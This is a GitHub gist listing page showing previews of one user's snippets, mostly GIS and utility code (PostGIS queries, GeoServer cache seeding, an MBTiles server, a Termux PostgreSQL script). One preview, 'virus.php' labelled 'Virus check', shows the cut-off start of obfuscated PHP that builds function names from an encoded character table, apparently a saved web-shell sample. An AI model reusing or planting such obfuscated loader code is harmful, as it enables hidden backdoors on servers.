Skip to content

Instantly share code, notes, and snippets.

View soiqualang's full-sized avatar
🙃
hihihaha

Đỗ Thành Long soiqualang

🙃
hihihaha
View GitHub Profile
@soiqualang
soiqualang / secret-key.py
Created May 14, 2024 07:34 — forked from shaunmolloy/secret-key.py
secret-key - Generate an app secret key
#!/usr/bin/env python
# secret-key
# Generate an app secret key
from base64 import b64encode
from os import urandom
random_bytes = urandom(64)
token = b64encode(random_bytes).decode()
@soiqualang
soiqualang / virus.php
Created May 3, 2024 05:48
Virus check
<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30
-- Tim kiem cac cua hang TGDĐ cach 1000m
SELECT * FROM hcm_tgdd WHERE ST_DWithin(
    ST_Transform(geom, 32648),
    ST_Transform(ST_SetSRID(ST_Point(106.69093,10.77082), 4326), 32648),
    1000
);

-- Tao diem tu toa do
SELECT ST_SetSRID(ST_Point(106.69093, 10.77082), 4326);
@soiqualang
soiqualang / ghep_mang.js
Created April 12, 2024 08:43
So sanh va ghep mang
var doman_v1 = [
['recid', 'Year', 'Income', 'Type', 'Time'],
[42, '2011-05-01', '', 'doman', 1304182800000],
[41, '2012-01-01', '26', 'doman', 1325350800000],
[40, '2012-02-01', '234', 'doman', 1328029200000],
[39, '2012-03-01', '12', 'doman', 1330534800000],
[36, '2013-01-01', '', 'doman', 1356973200000],
[35, '2013-02-01', '267', 'doman', 1359651600000],
];
@soiqualang
soiqualang / blur_unblur_fb_mess.js
Last active March 26, 2024 09:19
blur_unblur_fb_mess
// Cái hàm để add sự kiện
function toggle_blur(messDiv){
// Add event listeners to handle hover effect
messDiv.addEventListener("mouseover", function() {
this.style.filter = "none"; // Remove blur on hover
});
messDiv.addEventListener("mouseout", function() {
this.style.filter = "blur(5px)"; // Add blur when not hovering
});
@soiqualang
soiqualang / liz.sh
Created January 13, 2024 15:25 — forked from mdouchin/liz.sh
PostgreSQL/PostGIS in Termux: help script to install and manage PostgreSQL & PostGIS
#!/usr/bin/env bash
COMMAND="$1"
shift
function liz_storage() {
echo "Storage - configure termux setup storage"
termux-setup-storage
}
@soiqualang
soiqualang / seed-cache.html
Created August 16, 2023 06:19 — forked from jelmervdl/seed-cache.html
Geoserver Tile Cache seeding tool
<!DOCTYPE html>
<html>
<head>
<title>Seed tool</title>
<style>
.seed-status {
display: inline-block;
padding; 2px;
background: #ccc;
}
@soiqualang
soiqualang / GeoServer GWC REST Example
Created August 16, 2023 06:13 — forked from alexgleith/GeoServer GWC REST Example
Truncate and Seed GWC cached layers in GeoServer
import json
import urllib2
import base64
baseURL = "https://domain.example:8080/geoserver/gwc/rest/seed/"
descURL = "https://domain.example:8080/geoserver/gwc/rest/layers/"
un = 'username'
pw = 'biglongtrickypassword'
def truncateLayer(layer):
@soiqualang
soiqualang / GeoWebCacheService.py
Created August 16, 2023 06:12 — forked from gordcorp/GeoWebCacheService.py
Empty and reseed GeoServer GeoWebCache
import requests
class GeoWebCacheService(object):
"""Class to communicate with the geowebcache api.
Api doco here: http://geowebcache.org/docs/current/rest/seed.html
"""
_url = None
_username = None
_password = None
@soiqualang
soiqualang / mbtile-server.py
Created August 7, 2023 14:33 — forked from schoenobates/mbtile-server.py
Really quick and dirty way to serve tiles from a MBTiles file
#!/usr/bin/env python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import re
import sqlite3 as sqlite
# Hacky serving of MBtile data
# Put filename to the MBTiles file below: this could be done with cmd line options
# but this is a hack so there ....